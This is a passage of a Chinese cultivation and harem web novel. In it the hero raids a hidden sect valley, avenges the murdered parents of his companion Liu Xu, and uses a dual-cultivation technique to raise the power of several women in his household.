若是寻常高手,甚至极道宗师,不懂阵法,很容易迷失其中,或被引入死地。
但对他而言…
“系统,兑换阵法满级!”
他心念一动,直接花费五十万人气值,将阵法造诣点满。
瞬间,海量的阵法知识、符文奥义、空间理解涌入脑海。再看这沿途的布置,顿时了然于胸。
不过是最基础的‘九宫迷踪阵’的变种,配合山川地势,迷惑性尚可。
但在他这新晋阵法满级大宗师眼中,简直漏洞百出。
他甚至能看出好几处故意留下的错误路径,通向悬崖或毒瘴沼泽。
果然,在又绕了约莫半个时辰后,那长老驱车来到一处看似寻常的、布满藤蔓的峭壁前。
他停下马车,从怀中取出一个巴掌大小的黑色罗盘。
只见他咬破指尖,滴了一滴血在罗盘中央,同时口中念念有词。
罗盘发出微弱的光芒,指针开始快速旋转。
片刻后,指针稳定地指向峭壁上的某处。长老对着那处,打出一道特定的法诀。
那处峭壁的藤蔓向两侧分开,露出一个仅容一辆马车通过的幽深洞口,洞内隐隐有微弱的光芒透出,还有一股极其隐蔽的灵气波动传来。
“帝君,就是这里了。穿过这条秘道,便能抵达‘隐雾谷’,谷中便是我们此处分部所在。柳絮的父母…就关在谷中的‘悔过崖’下。”
长老的声音带着畏惧,小心禀报。
江凡睁开眼,神识探入洞口,感知到其中并无埋伏,只有一些警戒和触发式的低级阵法。
他点了点头,对柳絮道:“我们进去。”
他拉着柳絮下了马车,对那长老道:
“你走前面。”
长老不敢违逆,收起罗盘,当先走入洞口。
江凡牵着柳絮,紧随其后。
进入洞口后,身后的藤蔓又自动合拢,从外面看,与周围峭壁别无二致。
秘道蜿蜒向下,两侧石壁上镶嵌着能发光的萤石,光线幽暗。
走了约莫一炷香时间,前方豁然开朗。
一个被四周陡峭山峰环抱、终年云雾缭绕的巨大山谷出现在眼前。
谷中建筑依山而建,大多是灰黑色的石材搭建,风格粗犷古朴,与周围环境几乎融为一体。
若非刻意寻找,极难发现。
武神殿一个分部就
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如此隐蔽,真不知道武神殿总部会在什么地方!
谷中灵气比外界浓郁数倍,显然地下有灵脉经过。
更让江凡眼神微凝的是,谷中深处,三道强横的气息毫无掩饰地升腾着,赫然都是陆地神仙境界!
其中两道是中期,一道是后期!
此外,还有不下二十道极道宗师的气息,以及更多的大宗师、宗师气息散布各处。
这里是武神殿的一处重要分部!
实力不容小觑!
“何人擅闯隐雾谷?!”
他们刚一现身,立刻便被发现。
数道身影从不同方向的建筑中飞掠而出,落在前方空地上,拦住了去路。
为首的是三名气息沉凝的极道宗师,目光不善地扫过带路的长老,当看到江凡和柳絮时,更是脸色一变。
“柳絮?你竟敢带外人来此?!”
一名面容阴鸷的极道宗师巅峰老者厉声喝道,同时,谷中那三道陆地神仙的气息也骤然增强,朝着江凡和柳絮压迫而来!
柳絮被这恐怖的气势压得脸色更白,身体微微颤抖,却鼓起勇气,上前一步,急声问道:
“我父母呢?你们把我父母关在哪里?我要见他们!”
“见你父母?”
那阴鸷老者冷笑一声,眼中满是讥讽,
“柳絮,你公然违背殿主谕令,放弃刺杀江凡,多次泄露殿中机密,更将这等大敌引入我分部重地!已是罪该万死!还想见你父母?
哼,实话告诉你,你那一对不识抬举的父母,早在你任务失败的消息传回时,便已被‘刑堂’就地正法,以儆效尤了!此刻恐怕尸骨都已寒了!”
“什么?!不——!!!”
柳絮如遭五雷轰顶,发出一声凄厉的尖叫,眼前一黑,身体软软地向后倒去,**凡及时扶住。
她浑身冰冷,面无血色,嘴唇颤抖着,却发不出任何声音,只有大颗大颗的眼泪滚落,眼中充满了痛苦。
**?
父母…已经**了?
就因为她没有杀江凡?
就因为她违抗了命令?
原来,无论她是否完成任务,是否回去领罚,她和她的父母,从一开始,就注定是武神殿可以随时舍弃的棋子!
所谓的控制、要挟,不过是为了榨干她最后一点利用价值!
他们从未想过要放过任何人!
第281章 好狠的手段
“啊——!!!”
极致的悲痛与愤怒,让柳絮发出哀嚎,猛地喷出一口鲜血,气息瞬间萎靡下去,几乎要晕厥。
江凡的心,在这一刻也冰冷而疼痛。
他紧紧搂住怀中濒临崩溃的女子,眼中瞬间燃起了焚尽一切的熊熊怒火!
无边的杀意从他身上冲天而起,将周围的空间都灼烧得扭曲起来!
那股恐怖的气势,甚至将谷中三名陆地神仙联手施加的威压都冲得七零八落!
“武——神——殿!”
江凡一字一顿,声音带着毁灭一切的暴怒,
“你们——都该死!”
“放肆!”
“狂妄!”
“拿下他!”
那三名拦路的极道宗师大怒,同时出手,各施绝学,三道凌厉无比的攻击朝着江凡轰来!
与此同时,谷中深处,那三道陆地神仙的气息也动了,朝着这边急速掠来!
然而,面对这足以让任何陆地神仙初期都手忙脚乱的**,江凡甚至没有看那三名极道宗师一眼。
他只是心念一动。
“系统,兑换并开启——【无敌领域】(初级,覆盖范围:方圆一里,持续时间:一炷香)!”
【叮!消耗人气值1,000,000点!无敌领域开启!倒计时:一分钟!】
瞬间,以江凡为中心,方圆三十米范围内,空间仿佛凝固了!
一种至高无上的绝对规则力量降临,笼罩了整个山谷入口区域!
那三名极道宗师攻出的真气、掌印、刀光,在进入江凡身前三丈范围时,瞬间凝固、瓦解、湮灭!
他们三人动作、思维、甚至体内的真元运转,都变得缓慢无比,脸上充满了惊恐与骇然!
那三名正急速飞来的陆地神仙,在进入领域范围的刹那,也身形猛地一滞,速度骤降,脸上露出难以置信的惊骇之色!
他们能感觉到,这片区域的空间,被一种他们完全无法理解、无法抗拒的至高法则所掌控!
他们引以为傲的陆地神仙修为,在这法则面前,如同蝼蚁般可笑!
“这、这是…领域?不可能,你这么年轻,怎么能领悟出领域?”
那名陆地神仙后期的灰袍老者失声惊呼,眼中充满了无边的恐惧。
那是传说中超越陆地神仙、达到更高层次的存在才能初步掌握的力量!
除了殿主和三位太上长老,还有殿主身边的影老,整个大陆竟然还有人能拥有领域?
而且,这个人还如此年轻!
怎么可能?!
江凡没有给他们思考的时间。
在【无敌领域】的绝对掌控下,他就是这片天地的主宰!
他心念微动,领域之力化作无形的利刃。
噗!噗!噗!
那三名拦路的极道宗师,甚至连惨叫都来不及发出,身体便瞬间爆裂成三团血雾,形神俱灭!
紧接着,江凡的目光锁定了那三名惊骇欲绝的陆地神仙。
他伸出手指,凌空轻轻一点。
“定。”
言出法随!
三名陆地神仙只觉得周身空间彻底凝固,将他们牢牢定在了半空中,连眨一下眼睛都做不到!
无边的恐惧淹没了他们。
“说,武神殿寻找‘玄阴灵体’的全部计划,所谓‘长生秘境’的真相,武神殿总部的位置,殿主夏侯尊的详细情报。还有,柳絮父母的尸身,在何处?”
江凡的声音冰冷,不带一丝情感,在领域内回荡,如同死神的审判。
“你…你休想!”
那名陆地神仙后期的灰袍老者眼中闪过一丝狠厉与绝望,咬牙道,
“我等皆立下神魂契约,泄密者魂飞魄散!你杀了我们吧!武神殿的底蕴,非你能想象!
殿主神威无敌,已活两千余载,正在筹划长生大事,岂是你能抗衡?待殿主功成,你与你的大夏,还有你身边所有人,都将灰飞烟灭!”
“冥顽不灵。”
江凡眼中寒光一闪,心念再动。
“啊——!”
灰袍老者发出一声凄厉的惨叫,他清晰地感觉到,自己苦修数百年的陆地神仙修为,正在被一股无法抗拒的力量强行剥离、粉碎!
丹田气海崩溃,经脉寸断,神魂受创!
不过数息之间,他便从一个高高在上的陆地神仙后期强者,变成了一个
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修为尽废、奄奄一息的普通老者!
废掉灰袍老者,江凡的目光看向另一名陆地神仙中期的黑袍老者。
那老者早已吓得魂不附体,看到同伴的惨状,心理防线彻底崩溃,嘶声喊道:
“我说!我说!只求帝君饶命!‘玄阴灵体’关乎‘天渊之眼’的开启,那是…那是一处上古遗留的秘境入口,据说蕴含着超越陆地神仙、触及真正长生的机缘!
殿主已筹划千年,只待灵体觉醒,以其为引,配合‘寻灵古鉴’,便能在特定天象下打开秘境!
灵体就在大夏京城,具体何人我等不知,但‘寻灵古鉴’感应越来越强,据说…据说与‘天空血月’之象有关!
届时灵体会自动觉醒,气息再无法掩盖!总部在…在…”
他话未说完,忽然双眼暴突,脸上浮现出无数诡异的黑色符文,发出‘嗬嗬’的怪响,仿佛有什么东西要从他体内爆开!
那是神魂契约的反噬被触发!
“殿主…永生…血月…开…”
他艰难地吐出几个破碎的词,随即七窍流血,身体迅速干瘪下去,顷刻间化为了一具枯尸,神魂俱灭!
最后那名陆地神仙初期的白袍老者见状,惨笑一声,眼中闪过一丝解脱与怨毒,厉声道:
“江凡!你很强,但武神殿的恐怖,远超你想象!殿主之能,已近真仙!长生秘境开启之日,便是你的死期!我在下面…等你!”
说完,他竟也主动触发了神魂禁制,身体同样化为枯尸,倒地身亡。
转眼之间,三名陆地神仙,两死一废!
整个武神殿分部留守的高端战力,在江凡开启【无敌领域】的短短十数息内,近乎全灭!
剩下的那些极道宗师、大宗师,早已吓得瘫软在地,瑟瑟发抖,连逃跑的勇气都没有。
江凡脸色阴沉。
神魂契约…好狠的手段!
武神殿对核心成员的控制竟如此严密!
不过,也并非全无收获。
天渊之眼、长生秘境、天空血月、灵体觉醒…
这些关键词,以及柳絮父母已**害的残酷现实,都深深印入他心中。
第282章 与你共进退
领域消失,空间恢复正常,但那弥漫的血腥与死亡气息,却更加浓重。
江凡走到那名被废去修为、瘫软在地的灰袍老者面前,冷冷地看着他。
灰袍老者面如死灰,嘶声道:
“杀了我吧…给我个痛快…”
“柳絮父母的尸身,在何处?”江凡问。
“悔过崖下…寒潭…喂了…喂了铁线鳄…”
灰袍老者断断续续地说道,眼中满是怨毒。
“啊——!”
刚刚恢复一丝意识的柳絮,听到这句话,再次发出一声凄厉的悲鸣,彻底晕死过去。
江凡闭上眼,强压下心中的暴怒与杀意。
他抬手,一道真元没入灰袍老者眉心,结束了他的痛苦。
然后,他看向谷中那些幸存者,声音冰冷地宣告:
“回去告诉夏侯尊,还有武神殿所有人。”
“柳絮,是我江凡的女人。伤她亲人,逼她至此,此仇不共戴天!”
“从今日起,我江凡,与武神殿,不死不休!”
“让他洗干净脖子等着,就算他不来找我,待‘天空血月’之时,我必亲上武神山,取他狗头,以祭奠柳絮父母,以及所有被他残害的无辜亡魂!”
“滚!”
最后一个字,如同惊雷炸响,震得山谷嗡嗡作响。
那些幸存的武神殿弟子如蒙大赦,连滚爬,哭爹喊娘地朝着谷外逃去,只恨爹娘少生了两条腿。
江凡不再看他们。他弯腰,将昏迷的柳絮小心翼翼地横抱起来,感受到她身体的冰凉与颤抖,心中充满了怜惜与愤怒。
他低头,在她冰凉苍白的额头上,轻轻印下一吻。
“絮儿,对不起,是我来晚了。但你放心,这个仇,我一定会报。武神殿欠你的,我会让他们百倍、千倍地偿还!”
“从今以后,你就是我江凡名正言顺的妻子。你的父母,也是我的父母。他们的仇,我来报。你的余生,我来护。”
他抱着柳絮,身形缓缓升空,最后看了一眼这充满血腥与罪恶的山谷,眼中寒光凛冽。
“夏侯尊…‘天空血月’…‘玄阴灵体’…很好,我等着。”
话音落下,他不再停留,身形化作一道璀璨的金色流光,疾驰而去。
离开山谷,江凡没有立刻返回京城。
他怀抱着气息微弱的柳絮,在山中寻了一处清幽僻静、背山面水的向阳坡地。
以手为刀,轻易削出一块方正石碑,指尖灌注真元,在碑上刻下‘先考柳公、先妣柳门X氏之墓’,旁边一行小字‘不孝女柳絮、婿江凡泣立’。
**柳絮父母的确切名讳,只能如此简略。
然后,他以掌力轰出一个深坑,从系统空间兑换出两套寿衣,以及一些香烛纸钱,郑重地放入坑中,权当衣冠冢。
他点燃香烛,焚化纸钱,抱着依旧昏迷的柳絮,在坟前恭敬地磕了三个头。
“岳父、岳母大人在上,小婿江凡,来迟一步,未能护得二老周全,此乃小婿毕生之憾,亦是深仇。
二老放心,絮儿从此由我照顾,绝不会让她再受半分委屈。武神殿欠下的血债,我江凡对天立誓,必以夏侯尊及所有参与者的头颅与鲜血,来祭奠二老在天之灵!请二老安息。”
青烟袅袅,随风飘散。
做完这一切,江凡又设下一个简单的防护与警示小阵,防止野兽或宵小破坏。
或许是感应到了父母‘安息’之地,柳絮终于悠悠转醒。
她睁开眼,先是茫然,随即看到了眼前的新坟与石碑,泪水再次无声滑落。
江凡将她轻轻拥入怀中,让她靠在自己肩上,声音低沉而坚定:
“絮儿,哭出来吧,别憋着。以后,这里就是岳父岳母的安眠之地,我们随时可以来看他们。你还有我,有璇月,有婉如,有塔娜,有芷兰姐姐…
我们都是一家人,你的仇,就是我们的仇。这个家,以后就是你的依靠,你的归处。”
柳絮靠在他的胸膛上,听着他沉稳的心跳和有力的话语,心中一暖。
她将脸埋得更深,肩膀微微耸动,压抑的呜咽声低低响起。
良久,她才渐渐止住哭泣,抬起头,红肿的眼睛望着江凡,声音沙哑:
“夫君…谢谢你。从今往后,柳絮这条命,就是你的。你要我生,我便生;你要我死,我便死。
只求…只求让我留在你身边,亲眼看到武
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神殿覆灭,看到夏侯尊…伏诛!”
“傻瓜,我要你好好活着,陪我一起看那一天的到来。”
江凡吻去她眼角的泪,郑重承诺,
“而且,不是‘你的命是我的’,是我们俩的命,要牢牢系在一起,长长久久地活下去。走吧,我们回家。”
“回家…”
柳絮喃喃重复着这两个字,眼中终于有了一丝光彩。
她点点头,任由江凡再次将她抱起,化作流光,朝着京城方向飞去。
……
皇宫,凤仪宫。
当江凡抱着柳絮出现时,萧璇月立刻屏退左右,亲自迎了上来。
看到柳絮苍白憔悴的模样,以及江凡眉宇间的戾气与沉重,她心中已明白了七八分。
她没有多问,只是上前,从江凡手中轻轻接过柳絮,握住她冰凉的手,声音温和而充满力量:
“柳絮妹妹,欢迎回家。以后这里就是你的家,什么都别想,好好将养身子。缺什么,想要什么,尽管跟姐姐说。”
这声‘妹妹’,这声‘回家’,让柳絮刚刚止住的泪水又差点决堤。
她看着眼前这位雍容华贵、却毫无架子的女帝,感受到那发自内心的接纳与关怀,心中最后一丝忐忑与不安也消散了。
她挣扎着想行礼,却被萧璇月按住。
“都是自家姐妹,无需这些虚礼。云暮,带柳絮姑娘去准备好的‘听雨阁’,让太医好好瞧瞧,用最好的药材,务必让妹妹尽快恢复。”
萧璇月吩咐道。
“是,陛下。”
云暮上前,小心翼翼地搀扶住柳絮。
柳絮看向江凡,江凡对她点点头,温声道:
“先去休息,我稍后去看你。”
柳絮这才跟着云暮离去。
待柳絮离开,萧璇月才看向江凡,眼中带着询问与担忧。
江凡将山谷中发生的一切情报,详细说了一遍。
萧璇月听完,沉默良久,凤眸之中寒光闪烁,最终化为一声叹息:
“武神殿…果然丧尽天良,视人命如草芥。柳絮妹妹…苦了她了。你做得对,此仇不报,枉为人夫,亦枉为人君!既然宣战,那便战!我大夏,与你同进退!”
第283章 龙凤和鸣功
萧璇月走到江凡面前,握住他的手,目光灼灼:
“不过,经此一事,也暴露出我们最大的弱点——高端战力过于集中在你一人身上。
武神殿只需略施小计,便能将你调离,届时京城空虚,他们若对宫中,或对北境父亲下手,我们便极为被动。
必须尽快提升我们自身的实力,尤其是…我们这些在你身边之人的修为。”
江凡深以为然,这正是他一路归来都在思考的问题。
他心念沉入系统,惊喜地发现,人气值已经有两千三百六十五万!
而且还在持续跳动增长!
有了这笔‘巨款’,很多计划,都可以提上日程了!
“月儿,你说得对。我正有此意。”江凡眼中闪过精光,
“我可以提供大量适合你们修炼的丹药,助你们快速提升修为。但丹药之力,终究是外物,且境界感悟需要时间。
不过…我刚刚发现了一样东西,或许能从根本上解决这个问题!”
“哦?何物?”萧璇月好奇。
江凡将心神沉入系统商城**区,快速筛选。
很快,一本散发光晕、名为《龙凤和鸣诀》的**映入眼帘。
他点开详细说明:
《龙凤和鸣诀》(天阶极品·特殊双修**):上古道侣所创之神妙**,需一阴一阳,心意相通者共修。**核心奥义在于‘阴阳相济,龙凤和鸣’。
修炼时,境界高者为主导(龙),境界低者为辅(凤),双方灵肉交融之际,可短暂构建‘阴阳道桥’,高阶者可将自身对天地法则的感悟、境界体悟,通过道桥共享给低阶者,大幅降低其突破瓶颈之难度。
同时,**运行可引动双方气血真元共鸣,高效转化丹药灵力与天地灵气,使辅修者修为提升速度激增。
注:此**对主导者修为无损,反有调和阴阳、稳固根基之效;对辅修者益处最大,尤其适用于道侣间快速提升实力。
兑换需人气值10,000,000点。
一千万人气值!
堪称天价!
但看到那‘共享境界感悟’、‘快速提升修为’的描述,江凡毫不犹豫!
“兑换《龙凤和鸣诀》!”
【叮!消耗人气值10,000,000点!兑换成功!**感悟灌注中…】
瞬间,关于《龙凤和鸣诀》的完整心法、行功路线、双修要点、以及种种玄妙感悟,深深印入江凡脑海。
他细细体悟,心中狂喜!
这简直就是为他目前的困境量身打造的终极解决方案!
以他如今陆地神仙中期的境界和对‘道’的感悟,通过此**与萧璇月她们双修,完全可以在极短时间内,将她们的‘境界’强行拔高到与他相近的层次!
虽然真元积累(修为)还需要靠丹药和时间,但只要境界到了,吸收丹药、转化灵气的效率将呈几何倍数提升!
意味着她们可以在几天、十几天内,走完别人几十年、上百年的路,直达极道宗师,甚至…触摸陆地神仙的门槛!
“月儿,我找到办法了!”
江凡睁开眼,眼中光芒大盛,将《龙凤和鸣诀》的奥妙简要告知萧璇月,只是略去了那些过于香艳的细节描述。
萧璇月听得先是愕然,随即俏脸‘腾’地变得绯红,凤眸中满是羞意与难以置信:
“双、双修**?还…还能共享境界?这…这未免也太过…荒唐…”
她虽与江凡已是夫妻,闺房之乐也有,但将这种事情与修炼如此直接、功利地联系起来,还是让她有些难以接受。
尤其听江凡的意思,似乎还要与塔娜、柳絮、周婉如她们…
“月儿,此乃上古正道**,旨在阴阳调和,互助共赢,并非邪道采补之术。”
江凡握住她的手,认真解释,
“眼下局势危急,武神殿虎视眈眈,‘天空血月’不知何时便会降临。我们必须争分夺秒提升实力。
此法虽…略显急切,却是最快、最稳妥让你们拥有自保乃至抗衡之力途径。难道你不想早日拥有足够实力,与我并肩作战,而非只能在我身后担忧?”
萧璇月被他说的心中动摇。
她何尝不想变强?
作为女帝,她更渴望拥有掌控自身与家国命运的力量,而非事事依赖江凡保护。
这**
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若真如江凡所说那般神奇…
她咬了咬唇,抬起水润的眸子瞪了江凡一眼,声音低如蚊蚋:
“你…你先试试看,若真有效,且无隐患…再说其他。”
这便是默许了。
江凡心中大喜,知道萧璇月深明大义,为了大局,愿意尝试。
当夜,凤仪宫内殿,红烛高烧,锦帐低垂。
江凡与萧璇月相对盘坐,四掌相抵。
按照《龙凤和鸣诀》的心法,江凡引导着自身精纯真元,缓缓渡入萧璇月经脉之中。
同时将自己对天地法则的种种感悟,通过那玄妙的‘阴阳道桥’,毫无保留地分享给她。
起初,萧璇月只觉得一股温润浩大的暖流在体内流转,舒适无比。
但随着江凡感悟的涌入,她脑海中仿佛炸开了万千光华!
许多以往修炼中晦涩难懂之处,骤然变得清晰明了;
对真气的操控,对天地灵气的感应,以一种不可思议的速度提升着!
她的境界瓶颈,在江凡的感悟冲击下迅速消融!
同时,江凡又让她服下数枚早就准备好的、适合宗师以上服用的【真元丹】和【蕴神丹】。
在《龙凤和鸣诀》的运转下,丹药之力被高效地吸收转化,化为精纯真元,填充着她因境界提升而迅速扩张的经脉与丹田。
这一过程,持续了整整一夜。
当天光微亮,江凡缓缓收功时,萧璇月周身气息已然发生了翻天覆地的变化!
原本只是宗师初期的她,此刻气息沉稳厚重,隐隐与天地相合,竟然一步跨越了大宗师的门槛,直达大宗师中期!
而且根基扎实,毫无虚浮之感!
这不仅仅是真元的提升,更是‘境界’的跃迁!
她感觉自己对力量的掌控、对危机的感知、乃至思维速度,都提升了一个大层次!
“这、这简直神乎其神!”
萧璇月感受着体内澎湃的力量,眼中充满了震撼与惊喜。
一夜之间,省却数十年苦功!
而且她能感觉到,自己大宗师中期的境界无比稳固,未来修炼将一片坦途!
只要丹药跟上,极道宗师指日可待!
第284章 不怕多一个
“有效便好。”江凡也松了口气,笑道,
“月儿你底子好,悟性高,所以效果显著。接下来几日,你只需按时服用丹药,巩固境界,最多三五日,便能尝试冲击极道宗师。届时,我再为你**。”
初试成功,让两人信心大增。
萧璇月也彻底放下了心中的顾虑。
事急从权,为了应对武神殿的威胁,为了拥有保护自己和家人的力量,这或许是最佳选择。
而且,能与心爱之人以这种方式共同修炼,似乎…也别有一番亲密与信任的意味。
“接下来,你打算…”
萧璇月看向江凡,脸颊微红。
“塔娜、柳絮、婉如,她们都需要尽快提升实力。”
江凡正色道,“尤其是柳絮,她心中悲恸,更需要实力来支撑,也给了她复仇的希望。婉如修为最低,提升空间最大。此事…还需月儿你…”
萧璇月白了他一眼,却点头道:
“我知道。我会与她们分说。都是为了这个家,为了大夏。只是…你需掌握分寸,莫要沉溺,伤了根基。”
“夫人放心,为夫晓得轻重。”
江凡连忙保证。
接下来的几日,江凡变得异常‘忙碌’。
他先是找到了塔娜。
南疆公主性格直爽,听闻有如此神奇的**能快速提升实力,眼睛一亮,毫不犹豫地答应,甚至颇为期待。
一夜修炼,塔娜从先天中期,直接飙升到了宗师后期!
她本就修炼南疆武学,体魄强健,性子如火,与《龙凤和鸣诀》的阳刚之气颇为契合,进境神速。
然后是柳絮。
江凡格外温柔小心,不仅助她提升修为,更以自身精纯平和的真元与神识,温养她受损的心脉与萎靡的神魂。
或许是仇恨化为了动力,或许是感受到了江凡无微不至的呵护,柳絮修炼得异常专注刻苦。
一夜之后,她的修为从原本的先天后期,突破到了大宗师初期!
而且原本苍白憔悴的脸色,也恢复了几分红润,眼中重新燃起了名为复仇与新生的火焰。
周婉如的进步最为夸张。
她原本只有后天修为,几乎是武道入门。
在江凡陆地神仙中期的境界感悟引导下,在《龙凤和鸣诀》和大量珍贵丹药的堆砌下,一夜之间,连破数关,直接从后天境,跨越了先天,悍然踏入了宗师之境!
虽然只是宗师初期,且境界需要时间沉淀,但这份提升,足以让任何武者瞠目结舌!
周婉如自己都感觉如同做梦,看着江凡的眼神,充满了无尽的崇拜、依赖与幸福。
短短数日,江凡身边的红颜知己,实力发生了天翻地覆的变化。
这还不算她们服用丹药巩固后,即将迎来的进一步突破。
江凡心中大定,如此一来,即便自己暂时离开,只要不是夏侯尊那等老怪物亲自出手,她们拥有足够的自保之力,皇宫的防御也将固若金汤。
此外,江凡也没有忘记那些忠心耿耿的属下。
他从系统兑换了大量适合不同境界武者服用的丹药,分发给宫中的供奉、云暮统领的凤仪卫精锐、以及父亲留在京中的部分心腹。
虽然不能像《龙凤和鸣诀》那样立竿见影,但也足以让他们的修为在短期内获得显著提升,整体实力大增。
几日下来,人气值因为持续的话题和丹药分发带来的感激与忠诚,再次稳步增长,堪堪突破了两亿大关!
【当前人气值:201,268,000】
两亿零一百万!
江凡心中豪情顿生。
是时候再次提升自身修为了!
武神殿底蕴深厚,夏侯尊更是活了两千多年的老怪物,实力深不可测。
自己必须拥有绝对的力量,才能在未来的决战中占据主动!
“系统,兑换陆地神仙后期境界!”
【叮!消耗人气值100,000,000点!开始灌注陆地神仙后期境界修为与更深层天地法则感悟…】
江凡只觉得自己的肉身、经脉、丹田、神魂接受着最彻底、也是最凶险的淬炼与重塑!
时间、空间、因果、轮回…
种种更加玄奥的法则碎片在他意识中闪过,又迅速隐去。
体内的真元进一步发生质变,带上了一丝淡淡的‘规则’气息。
当最后一丝能
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量融入,江凡缓缓睁开双眼。
周身气息圆融内敛,却又给人一种深不可测、仿佛与天地彻底融为一体的感觉。
陆地神仙后期!
此刻的他,自信即便不动用任何底牌,也足以轻松碾压陆地神仙中期,与后期强者争锋,甚至面对巅峰,也有一战之力!
若是动用【无敌领域】或【体验卡】…
实力暴涨带来的安全感,让江凡连日紧绷的心弦稍稍松弛。
然而,他刚出关,萧璇月便找了过来,脸上带着一丝促狭与认真。
“夫君,既然这《龙凤和鸣诀》如此神奇,能快速提升身边人实力…有一个人,你可不能忘了。”
“谁?”江凡疑惑。
“云暮。”萧璇月正色道,
“她自小跟随我,名为主仆,实则情同姐妹。她对你…我也看在眼里。如今局势危急,多一份力量,便多一分保障。
云暮资质上佳,忠心耿耿,若能得你相助,修为必能突飞猛进,于公于私,都是好事。你…意下如何?”
江凡闻言,顿时有些尴尬。
云暮是萧璇月的贴身侍女,容貌清丽,性格沉稳,修为也不错,一直忠心耿耿。
他对她也颇有好感与感激,但从未往那方面想过。
“这…月儿,云暮是你的侍女,我这样…不太好吧?而且也要看云暮她自己的意思。”
“我已经问过她了。”萧璇月微微一笑,
“她红着脸,说不敢对世子有非分之想,但若能为陛下和世子分忧,提升实力更好地保护大家,她…万死不辞。你看,她都愿意‘万死’了,你个木头,还不明白?”
反正夫君身边女人不少,也不怕多云暮一个。
恰在此时,云暮端茶进来,听到萧璇月的话,一张俏脸顿时红透,手一抖,茶盏差点打翻。
她慌忙放下托盘,跪倒在地,声音带着颤抖:
“陛、陛下!世子!奴婢…奴婢不敢…”
江凡看着跪在地上、羞得不敢抬头的云暮,又看看萧璇月,心中叹息,也有些感动。
萧璇月为了这个‘家’的实力,真是操碎了心,连自己的贴身侍女都安排了。
第285章 真的没有吗
江凡走上前扶起云暮,看着她羞涩难当的眸子,温声道:
“云暮,这些年辛苦你了。月儿与我,都未曾将你当做外人。你若愿意,我自会待你如璇月、婉如她们一般,绝无轻慢。你若不愿,我也绝不强求,依旧会赐你丹药**,助你提升。”
云暮抬起头,看着江凡真诚的目光,又看看一旁含笑鼓励的萧璇月,心中那点自卑很快消散。
她自幼孤苦,被选入宫服侍萧璇月,早已将萧璇月视作唯一的亲人。
后来江凡出现,他的强大、智慧、对陛下的深情、对身边人的维护,都让她暗自倾慕,却深知身份悬殊,从不敢表露。
如今,竟有这样的机会…
她咬了咬唇,再次跪下,这次声音虽然依旧很低,却带着坚定:
“奴婢…云暮,愿…愿意侍奉世子,不求名分,只求能常伴陛下与世子左右,尽绵薄之力!”
“傻瓜,既成了我的女人,岂能没有名分?”江凡笑着将她拉起,“以后,你便是云暮姑娘,是这后宫的一员。”
当夜,江凡与云暮修炼《龙凤和鸣诀》。
云暮底子扎实,心境沉稳,又是处子元阴之身,效果出奇的好。
一夜之后,她的修为从原本的宗师巅峰,悍然突破到了大宗师巅峰!
距离极道宗师,仅一步之遥!
而且根基无比扎实,真元凝练。
江凡又给了她足够的丹药,相信不出几日,她便能尝试冲击极道宗师之境!
云暮感受着体内澎湃的力量,看着眼前这个给予她新生般的男子,眼中充满了无尽的感激、爱恋与誓死效忠的决心。
至此,江凡身边的核心女子,实力都得到了质的飞跃。
然而,还有一人,始终萦绕在他心头——姐姐江芷兰。
他让云暮稳固修为后,便去江芷兰住的寝宫。
江芷兰正坐在窗前,对着一盆兰草出神。
听到脚步声,她回过头,看到是江凡,脸上露出温柔的笑意,只是那笑意深处,似乎藏着一丝复杂。
“姐。”江凡走到她面前,有些踌躇,不知如何开口。
“怎么了?愁眉苦脸的。”
江芷兰伸手,想如往常般点他额头,手伸到一半,却又停住了,眼中闪过一丝黯然。
弟弟如今是帝君,是陆地神仙,身边红颜环绕,自己这个姐姐,似乎越来越远了。
“姐,”江凡深吸一口气,决定开门见山,
“我…我想跟你修炼一种**,能快速提升你的修为。只是这**…需要…需要你我灵肉交融,如同夫妻。”
他说的很直白,说完便紧张地看着江芷兰。
江芷兰闻言,先是一愣,随即俏脸‘唰’地变得通红,一直红到耳根。
她猛地站起身,背对着江凡,胸口微微起伏。
沉默良久,她才低声问道,声音颤抖:
“你…你想好了…”
“我们没有血缘关系。”
江凡走到她身后,双手轻轻按在她微颤的肩膀上,声音低沉而坚定,
“父亲的心意,我已知晓。姐,我的心意,你也当明白。除非…你不愿意。”
江芷兰身体僵住,陷入沉默。
这几日萧璇月几人的修为提升,她是知道的。
要说不想提升修为是假的,但两人这样,总感觉有些不适应。
她缓缓转过身,仰起脸,看着眼前这个已然成长为顶天立地男子汉的弟弟,不,是男人。
她抬起手,轻轻抚上他的脸颊,眼中水光氤氲,却带着一丝释然与决断:
“傻瓜…姐姐若是不愿意,会等到二十多岁还不嫁人,任由那些流言蜚语在京城传吗?”
这句话,如同天籁,瞬间驱散了江凡心中所有的不安与忐忑。
他狂喜地将江芷兰拥入怀中,紧紧抱住,仿佛要将她揉进骨血里。
“姐…芷兰!谢谢你!谢谢你愿意!”
江芷兰依偎在他怀中,感受着他有力的心跳和灼热的体温,脸上红晕更甚,心中却是一片前所未有的安宁与甜蜜。
是啊,没有血缘,只有深情。
既然如此,为何还要顾忌那些世俗的眼光?
弟弟需要她,她也需要弟弟。
这就够了。
当夜,兰芷苑内,红烛帐暖。
江凡与江芷兰修炼《龙凤和鸣诀》。
江芷兰修为本就不弱,已是先天后期,且心思剔透,悟性极高。
在江凡的引导与共享下,她的境界飞速提升。
一夜之后,江芷兰的修为悍然突破到了大宗师初期!
接下来的几日,江凡又花费了大量人气值,兑换了海
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量的丹药,分发给众人巩固修为。
萧璇月、塔娜、柳絮、周婉如、云暮、江芷兰,连同冷月寒等护卫,都进入了紧张的闭关修炼状态。
整个皇宫后院,仿佛变成了一个巨大的修炼场,实力每时每刻都在提升。
而江凡,则将目光投向了那个一直默默守护在江芷兰和周婉如身边、清冷少言的黑衣女子——冷月寒。
他早就注意到,冷月寒看自己的眼神,与旁人不同。
那里面有感激,有崇拜,还有一种深藏的倾慕与自卑。
她总是站在阴影里,如同最忠诚的守卫,从不主动靠近,却在他需要时,总能第一时间出现。
还是江芷兰先找到了江凡。
“凡儿,月寒那丫头…心思重,但对你,却是真心实意的。我看得出来。她跟我说过,脸上伤疤是你治好的,命也算你救的,这辈子怕是再也看不上别人了。
你身边也不缺她一个,若是可以…便给她个归宿吧,莫要让她总是那般孤零零的,看着让人心疼。”
江凡沉默。
他对冷月寒,自然是有好感的。
这个女子外冷内热,忠诚坚毅,是个值得信赖的伙伴。
只是她性子太冷,将自己的心意藏得太深。
“我…不知道她的想法。但姐既然这么说,我会找机会问问她。”
江凡道。
趁着众人都在闭关,江凡将冷月寒单独唤到了自己平日处理事务的偏殿。
“月寒,坐。”
